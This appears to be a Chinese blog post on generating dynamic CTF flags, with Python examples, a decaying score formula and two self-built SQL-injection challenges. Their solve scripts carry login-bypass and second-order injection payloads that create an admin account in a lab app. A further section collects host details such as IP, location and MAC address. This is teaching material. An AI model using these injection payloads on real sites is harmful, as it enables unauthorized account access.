0.叠甲
省流版:本篇文章主题是动态flag的生成及验证,为了验证自己的想法,出了两道SQL注入的题目,并在里面加入了随机生成flag的实现方法,所以题目本身并没有什么技术含量。我设想的是这两道题集成了初始分值1000分,选手在提交flag时,若多次提交分值就会下降,分值下降公式参考GZ:CTF。
-
为原始分值 -
为最低分值比例 -
为难度系数 -
为提交次数。
具体效果如图所示:
1.背景
CTF(Capture The Flag)顾名思义就是通过各种手段夺取flag啦。参赛者通过解决一系列信息安全挑战,获取比赛中设置的“flag”,以此获得积分。CTF比赛通常分为两种类型:攻击防御型和解题型。攻击防御型比赛中,参赛者不仅需要保护自己的系统免受攻击,还需要尝试攻破其他参赛者的系统。解题型比赛则主要考察参赛者解决特定安全问题的能力,如逆向工程、漏洞利用、密码学、取证分析等。
1.1.什么是flag?
在CTF比赛中,flag通常是一个特定格式的字符串,例如flag{example_flag}。它代表着参赛者已经成功解决了某个挑战。获取flag并提交到比赛平台后,参赛者就可以获得相应的积分。
1.2为什么需要动态flag?
传统的静态flag在某些情况下可能会被共享或泄露,导致比赛的公平性受到影响。动态flag是为了解决这个问题而提出的,它通过各种方法生成每个用户独特的flag,确保每次挑战中获取的flag都是不同的。
2.方法
动态flag的生成方法 动态flag的生成方法多种多样,常见的包括基于用户输入生成flag、基于时间生成flag、基于挑战内容生成flag以及基于系统生成的随机数生成flag。每种方法都有其独特的实现机制和适用场景,具体选择哪种方法可以根据比赛的需求和设计来决定。
2.1.基于用户输入生成动态flag:
根据每个用户的唯一输入(如用户名或IP地址)生成独特的flag,确保不同用户获得的flag不同。
-
接收用户输入:获取用户的唯一标识,如用户名或IP地址。
-
生成flag:使用用户输入与预定义的密钥或算法结合,生成唯一的flag。
-
返回flag:将生成的flag返回给用户,并在数据库中记录用户与其flag的对应关系。
import hashlib
user_data = {}
def generate_flag(username):
secret_key = "secret_key"
unique_string = username + secret_key
flag = hashlib.sha256(unique_string.encode()).hexdigest()
if username not in user_data:
user_data[username] = {'count': 0, 'flag': ''}
user_data[username]['count'] += 1
user_data[username]['flag'] = flag
return f"flag{{{flag}}}", user_data[username]['count']
username = "user123"
for _ in range(5):
flag, count = generate_flag(username)
print(f"提交次数: {count}, 生成的flag: {flag}")
这段代码输出的flag都是一样的,原因是用户输入的参数相同,若参数不同,flag也不同
提交次数: 1, 生成的flag: flag{b43c1139fc1c1b7521025d408a580521dcfd1c13fe43dadaf87deb89dff3f152}
提交次数: 2, 生成的flag: flag{b43c1139fc1c1b7521025d408a580521dcfd1c13fe43dadaf87deb89dff3f152}
提交次数: 3, 生成的flag: flag{b43c1139fc1c1b7521025d408a580521dcfd1c13fe43dadaf87deb89dff3f152}
提交次数: 4, 生成的flag: flag{b43c1139fc1c1b7521025d408a580521dcfd1c13fe43dadaf87deb89dff3f152}
提交次数: 5, 生成的flag: flag{b43c1139fc1c1b7521025d408a580521dcfd1c13fe43dadaf87deb89dff3f152}
2.2.基于时间生成动态flag:
利用当前时间生成flag,使得同一用户在不同时间获取的flag也是不同的。
-
获取当前时间:获取系统的当前时间,可以精确到秒。
-
生成flag:将当前时间与预定义的密钥或算法结合,生成唯一的flag。
-
返回flag:将生成的flag返回给用户,并在数据库中记录时间与flag的对应关系。
import hashlib
import time
user_data = {}
def generate_time_based_flag(username):
current_time = str(int(time.time()))
secret_key = "secret_key"
unique_string = current_time + secret_key
flag = hashlib.sha256(unique_string.encode()).hexdigest()
# 记录提交次数
if username not in user_data:
user_data[username] = {'count': 0, 'flag': ''}
user_data[username]['count'] += 1
user_data[username]['flag'] = flag
return f"flag{{{flag}}}", user_data[username]['count']
username = "user123"
for _ in range(5):
time.sleep(1) # 等待1秒以确保时间不同
flag, count = generate_time_based_flag(username)
print(f"提交次数: {count}, 生成的flag: {flag}")
提交次数: 1, 生成的flag: flag{8b623697b3c2896101f8481f8a05353c1ecba8c3df999fe92e5f32ae7286d66d}
提交次数: 2, 生成的flag: flag{d4d361657ba593e1ee84d80c60c489cc393b12e465a443bbc49ca7721a1d053e}
提交次数: 3, 生成的flag: flag{edd2ac45000676a86b75f0ed4a8d1ca101c9f01ea7bb2712179150c81dcc38e2}
提交次数: 4, 生成的flag: flag{6c153aafc8fa5ce9ab8c97322db6be0bb7afb2c585370bd0723cbcc634bf8f9f}
提交次数: 5, 生成的flag: flag{9b2b3551aaab360c3063bf6da3227211678fa1cded64e15d626c418680f46a27}
2.3.基于挑战内容生成动态flag:
根据用户在挑战中的操作或提交的答案生成flag,确保只有成功解决挑战的用户才能获取flag。
-
接收用户提交的答案:获取用户在挑战中的解答或操作结果。
-
验证答案:判断用户提交的答案是否正确。
-
生成flag:根据用户的解答生成唯一的flag。
-
返回flag:将生成的flag返回给用户,并在数据库中记录答案与flag的对应关系。
import hashlib
user_data = {}
def validate_and_generate_flag(username, user_answer):
correct_answer = "correct_answer"
if user_answer == correct_answer:
flag = hashlib.sha256(user_answer.encode()).hexdigest()
# 记录提交次数
if username not in user_data:
user_data[username] = {'count': 0, 'flag': ''}
user_data[username]['count'] += 1
user_data[username]['flag'] = flag
return f"flag{{{flag}}}", user_data[username]['count']
else:
return "Incorrect answer.", user_data.get(username, {'count': 0})['count']
username = "user123"
user_answer = "correct_answer"
for _ in range(5):
flag, count = validate_and_generate_flag(username, user_answer)
print(f"提交次数: {count}, 生成的flag: {flag}")
这段代码输出的flag都是一样的,原因是输入的参数相同,若参数不同,flag也不同
提交次数: 1, 生成的flag: flag{03652607771c58673a9c334b4965c1ffd0892632b0519ebbc33cbd176748f590}
提交次数: 2, 生成的flag: flag{03652607771c58673a9c334b4965c1ffd0892632b0519ebbc33cbd176748f590}
提交次数: 3, 生成的flag: flag{03652607771c58673a9c334b4965c1ffd0892632b0519ebbc33cbd176748f590}
提交次数: 4, 生成的flag: flag{03652607771c58673a9c334b4965c1ffd0892632b0519ebbc33cbd176748f590}
提交次数: 5, 生成的flag: flag{03652607771c58673a9c334b4965c1ffd0892632b0519ebbc33cbd176748f590}
2.4.基于系统生成的随机数生成动态flag:
每次请求时生成一个随机数,并将其作为flag的一部分,确保每次生成的flag都是唯一且不可预测的。
-
生成随机数:使用系统的随机数生成器生成一个随机数。
-
生成flag:将随机数与预定义的密钥或算法结合,生成唯一的flag。
-
返回flag:将生成的flag返回给用户,并在数据库中记录随机数与flag的对应关系。
import hashlib
import os
user_data = {}
def generate_random_flag(username):
random_number = os.urandom(16)
secret_key = "secret_key"
unique_string = random_number.hex() + secret_key
flag = hashlib.sha256(unique_string.encode()).hexdigest()
if username not in user_data:
user_data[username] = {'count': 0, 'flag': ''}
user_data[username]['count'] += 1
user_data[username]['flag'] = flag
return f"flag{{{flag}}}", user_data[username]['count']
username = "user123"
for _ in range(5):
flag, count = generate_random_flag(username)
print(f"提交次数: {count}, 生成的flag: {flag}")
提交次数: 1, 生成的flag: flag{f1f292de54a1aeef4aceafcbf7da2ed8a44841d559c836cefba0b7f3e09de034}
提交次数: 2, 生成的flag: flag{ceff3c7d7b3177614408333924c4f9789bd46697417dafe1d4d171564d7d94f2}
提交次数: 3, 生成的flag: flag{d2f0186fef2c1a137189ae2540a872212aa5968b6dd64e921795986c7bedd960}
提交次数: 4, 生成的flag: flag{9447670e39056c13ff3743c13236858f0370646ff565eb42bd35f0538471eef5}
提交次数: 5, 生成的flag: flag{2b941d4d5cc228ac549670e2ff67c7ef4c724901ea16abe70f5f80435c76b982}
3.举例
本章节总共2道题目,都是SQL注入漏洞,采用docker部署,flag生成主要是借助用户提交时间戳和漏洞利用成功后的flag.txt里的内容叠加进行sha256,同时加入了ip检测。
3.1.报错注入
本题文件目录树如下:
solve.py为解题代码,为了方便解题放在这个目录下了,实际比赛solve.py需要选手自写
(base) hx@orz:~/ctf/ctf-sql-injection$ tree
.
├── app
│ ├── app.py
│ ├── flag.txt
│ └── requirements.txt
├── app.py
├── ctf.db
├── docker-compose.yml
├── Dockerfile
├── flag.txt
├── instance
│ └── ctf.db
├── requirements.txt
└── solve.py
题目运行之后的效果
服务器根据当前时间和预定义的内容生成一个动态flag:
def generate_flag():
timestamp = str(int(time.time()))
with open('flag.txt', 'r') as file:
flag_content = file.read().strip()
flag = f"flag{{{hashlib.sha256((timestamp + flag_content).encode()).hexdigest()}}}"
return flag
该方法保证每次生成的flag都是唯一的,防止简单的复制和共享。
分值计算:
分值根据一个公式进行计算,公式为:
def calculate_score(S, r, d, x):
return math.floor(S * (r + (1 - r) * math.exp((1 - x) / d)))
是初始分值,是最低分值比例,是难度系数,是当前IP的登录尝试次数。
随着尝试次数的增加,分值会逐渐下降,确保早期成功登录的参赛者获得更高的分值。
//solve.py
import requests
url = 'http://localhost:1921/login'
payload = {
'username': "' OR '1'='1",
'password': "' OR '1'='1"
}
response = requests.post(url, data=payload)
if response.status_code == 200:
data = response.json()
if data['success']:
print(f"Flag: {data['flag']}")
print(f"Score: {data['score']}")
else:
print("Login failed.")
else:
print(f"Request failed with status code {response.status_code}")
(base) hx@orz:~/ctf/ctf-sql-injection$ python solve.py
Flag: flag{b243a102f9aee79d98e3c3480d5593feaba53a30afa9e8f0e32f608797431d35}
Score: 1000
(base) hx@orz:~/ctf/ctf-sql-injection$ python solve.py
Flag: flag{187ecb857e10697e5a18208ad2afd96a58b9e65ec70a7964c728186b3cb2ea66}
Score: 914
(base) hx@orz:~/ctf/ctf-sql-injection$ python solve.py
Flag: flag{9081fb176a12bb8e44895c121746fbe8ea3aabe7f0c4643a75224e4944429f93}
Score: 836
(base) hx@orz:~/ctf/ctf-sql-injection$ python solve.py
Flag: flag{e6ac5bf3269183b7c349687145d4c043493cd6f654a280cb92b6d5699c934ef4}
Score: 766
(base) hx@orz:~/ctf/ctf-sql-injection$ python solve.py
Flag: flag{88206e31306296103c17300344d3b0b8dd3459653c1e057a51921abefce799b7}
Score: 703
(base) hx@orz:~/ctf/ctf-sql-injection$ python solve.py
Flag: flag{3128ec3528006e637ccda394cc0e1a4977e434f6b1ed9de51303af360a9ac7db}
Score: 645
PS:从解题代码就能看出来题目确实没什么难度
3.2.二次注入
本题目文件目录树如下:
solve.py为解题代码,为了方便解题放在这个目录下了,实际比赛solve.py需要选手自写
(ctf) hx@orz:~/ctf/ctf-sql-injection-advanced$ tree
.
├── app.py
├── Dockerfile
├── flag.txt
├── requirements.txt
└── solve.py
题目运行之后的效果
flag生成的方式和3.1一样
import requests
register_url = 'http://10.211.55.105:1949/register'
login_url = 'http://10.211.55.105:1949/login'
register_payload = {
'username': "admin', 'admin123', 'admin')--",
'password': "any_password"
}
register_response = requests.post(register_url, data=register_payload)
if register_response.status_code == 200 and register_response.json().get('success'):
print("Successfully registered an admin account.")
else:
print("Failed to register an admin account.")
print(register_response.json())
exit()
login_payload = {
'username': 'admin',
'password': 'admin123'
}
login_response = requests.post(login_url, data=login_payload)
if login_response.status_code == 200:
data = login_response.json()
if data['success']:
if 'flag' in data:
print(f"Flag: {data['flag']}")
if 'score' in data:
print(f"Score: {data['score']}")
else:
print(data['message'])
else:
print(f"Request failed with status code {login_response.status_code}")
//solve.py
(base) hx@orz:~/ctf/ctf-sql-injection-advanced$ python solve.py
Successfully registered an admin account.
Flag: flag{ddc841f273c66dae31311b47d7205cd5ead4ccdf3aa5a52375d5b1ba2acd8fe8}
Score: 914
(base) hx@orz:~/ctf/ctf-sql-injection-advanced$ python solve.py
Successfully registered an admin account.
Flag: flag{6e8ecc1fecde52fde1489089e7a0e48e46da17b02dfe7c0e0ebd33fa0cd1214f}
Score: 836
(base) hx@orz:~/ctf/ctf-sql-injection-advanced$ python solve.py
Successfully registered an admin account.
Flag: flag{86b5058f6c85c48d1171b7f996953add0f77d4d629e863a676a65e651f6232d4}
Score: 766
(base) hx@orz:~/ctf/ctf-sql-injection-advanced$ python solve.py
Successfully registered an admin account.
Flag: flag{651413dbe9983e1b1fb348ef14518f5f4084c2a8c3dec580b88b01638d10833e}
Score: 703
(base) hx@orz:~/ctf/ctf-sql-injection-advanced$ python solve.py
Successfully registered an admin account.
Flag: flag{7af71f6ae9bee779a5db0e24d4eb7859244ee07581e5a51afa516b726705c8ac}
Score: 645
4.超级无极加强版生成flag方式
-
获取公共IP地址
使用requests库向https://api.ipify.org发送GET请求,获取提交者的公共IP地址。
-
获取地理位置信息
使用requests库向https://ipinfo.io/{ip_address}/json发送GET请求,根据IP地址获取提交者的地理位置信息。 返回的地理位置信息包括城市、地区和国家等。
-
获取系统信息
使用platform库获取操作系统名称和版本信息。
-
获取MAC地址
使用uuid库获取设备的MAC地址。
-
获取主机名
使用platform库获取设备的主机名。
-
获取CPU信息
使用platform库和psutil库获取CPU型号和核心数量。
-
获取内存信息
使用psutil库获取设备的内存容量。
-
获取磁盘信息
使用psutil库获取设备的磁盘容量和使用情况。
-
获取网络接口信息
使用psutil库获取设备的网络接口信息。
-
获取系统启动时间
使用psutil库获取设备的系统启动时间。
-
获取系统语言
使用locale库获取设备的系统语言设置。
-
生成会话ID
使用uuid库生成一个唯一的会话ID。
将用户名、IP地址、地理信息、系统信息、MAC地址、主机名、CPU信息、内存信息、磁盘信息、网络接口信息、系统启动时间、系统语言和预定义的密钥组合,形成一个唯一的字符串。 使用SHA-256哈希算法对该字符串进行哈希计算,生成一个固定长度的哈希值,作为最终的flag。
主函数main调用上述步骤,依次获取公共IP地址、地理位置信息、系统信息、MAC地址、主机名、CPU信息、内存信息、磁盘信息、网络接口信息、系统启动时间、系统语言和会话ID,并生成和打印flag。
import hashlib
import requests
import platform
import uuid
import psutil
import locale
def get_public_ip():
response = requests.get("https://api.ipify.org")
return response.text
def get_geo_info(ip_address):
response = requests.get(f"https://ipinfo.io/{ip_address}/json")
return response.json()
def get_system_info():
system_info = platform.system() + " " + platform.release()
return system_info
def get_mac_address():
mac_address = ':'.join(['{:02x}'.format((uuid.getnode() >> elements) & 0xff) for elements in range(0,2*6,2)][::-1])
return mac_address
def get_hostname():
hostname = platform.node()
return hostname
def get_cpu_info():
cpu_info = f"{platform.processor()} {psutil.cpu_count(logical=True)}"
return cpu_info
def get_memory_info():
memory = psutil.virtual_memory()
memory_info = f"{memory.total / (1024**3):.2f} GB"
return memory_info
def get_disk_info():
disk = psutil.disk_usage('/')
disk_info = f"Total: {disk.total / (1024**3):.2f} GB, Used: {disk.used / (1024**3):.2f} GB"
return disk_info
def get_network_info():
net_info = psutil.net_if_addrs()
return str(net_info)
def get_boot_time():
boot_time = psutil.boot_time()
return str(boot_time)
def get_locale_info():
locale_info = locale.getdefaultlocale()
return str(locale_info)
def generate_session_id():
session_id = uuid.uuid4().hex
return session_id
def generate_env_based_flag(username, ip_address, geo_info, system_info, mac_address, hostname, cpu_info, memory_info, disk_info, network_info, boot_time, locale_info, session_id):
secret_key = "secret_key"
env_info = username + ip_address + geo_info['city'] + geo_info['region'] + geo_info['country'] + system_info + mac_address + hostname + cpu_info + memory_info + disk_info + network_info + boot_time + locale_info + session_id + secret_key
flag = hashlib.sha256(env_info.encode()).hexdigest()
return f"flag{{{flag}}}"
def main():
username = "user123"
ip_address = get_public_ip()
geo_info = get_geo_info(ip_address)
system_info = get_system_info()
mac_address = get_mac_address()
hostname = get_hostname()
cpu_info = get_cpu_info()
memory_info = get_memory_info()
disk_info = get_disk_info()
network_info = get_network_info()
boot_time = get_boot_time()
locale_info = get_locale_info()
session_id = generate_session_id()
print(f"IP地址: {ip_address}")
print(f"地理信息: {geo_info}")
print(f"系统信息: {system_info}")
print(f"MAC地址: {mac_address}")
print(f"主机名: {hostname}")
print(f"CPU信息: {cpu_info}")
print(f"内存信息: {memory_info}")
print(f"磁盘信息: {disk_info}")
print(f"网络信息: {network_info}")
print(f"启动时间: {boot_time}")
print(f"系统语言: {locale_info}")
print(f"会话ID: {session_id}")
flag = generate_env_based_flag(username, ip_address, geo_info, system_info, mac_address, hostname, cpu_info, memory_info, disk_info, network_info, boot_time, locale_info, session_id)
print(f"生成的flag: {flag}")
if __name__ == "__main__":
main()
IP地址: 34.91.107.114
地理信息: {'ip': '34.91.107.114', 'hostname': '114.107.91.34.bc.googleusercontent.com', 'city': 'Groningen', 'region': 'Groningen', 'country': 'NL', 'loc': '53.2192,6.5667', 'org': 'AS396982 Google LLC', 'postal': '9711', 'timezone': 'Europe/Amsterdam', 'readme': 'https://ipinfo.io/missingauth'}
系统信息: Linux 5.15.133+
MAC地址: c0:02:08:20:80:02
主机名: 2b322b1bf7d4
CPU信息: x86_64 4
内存信息: 31.36 GB
磁盘信息: Total: 8062.39 GB, Used: 5689.32 GB
网络信息: {'lo': [snicaddr(family=<AddressFamily.AF_INET: 2>, address='127.0.0.1', netmask='255.0.0.0', broadcast=None, ptp=None), snicaddr(family=<AddressFamily.AF_PACKET: 17>, address='00:00:00:00:00:00', netmask=None, broadcast=None, ptp=None)], 'eth0': [snicaddr(family=<AddressFamily.AF_INET: 2>, address='172.19.2.2', netmask='255.255.255.0', broadcast='172.19.2.255', ptp=None), snicaddr(family=<AddressFamily.AF_PACKET: 17>, address='02:42:ac:13:02:02', netmask=None, broadcast='ff:ff:ff:ff:ff:ff', ptp=None)]}
启动时间: 1718977602.0
系统语言: (None, None)
会话ID: 5f3775169a154ba68581a7aeca7d8ddc
生成的flag: flag{9b831d312bf2aa7ab576f7f95efad15c2b2889e079444830d9096b45ff9c473c}
5.总结
这篇文章涉及的安全技术细节不是很多,主要是介绍了动态flag生成的几种方法和代码实现,若有不足和需要改善之处请读者留言友好交流。
1.GZCTF https://github.com/GZTimeWalker/GZCTF/
原文始发于微信公众号(攻防SRC):CTF-dynamic flag的几种实现方式
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论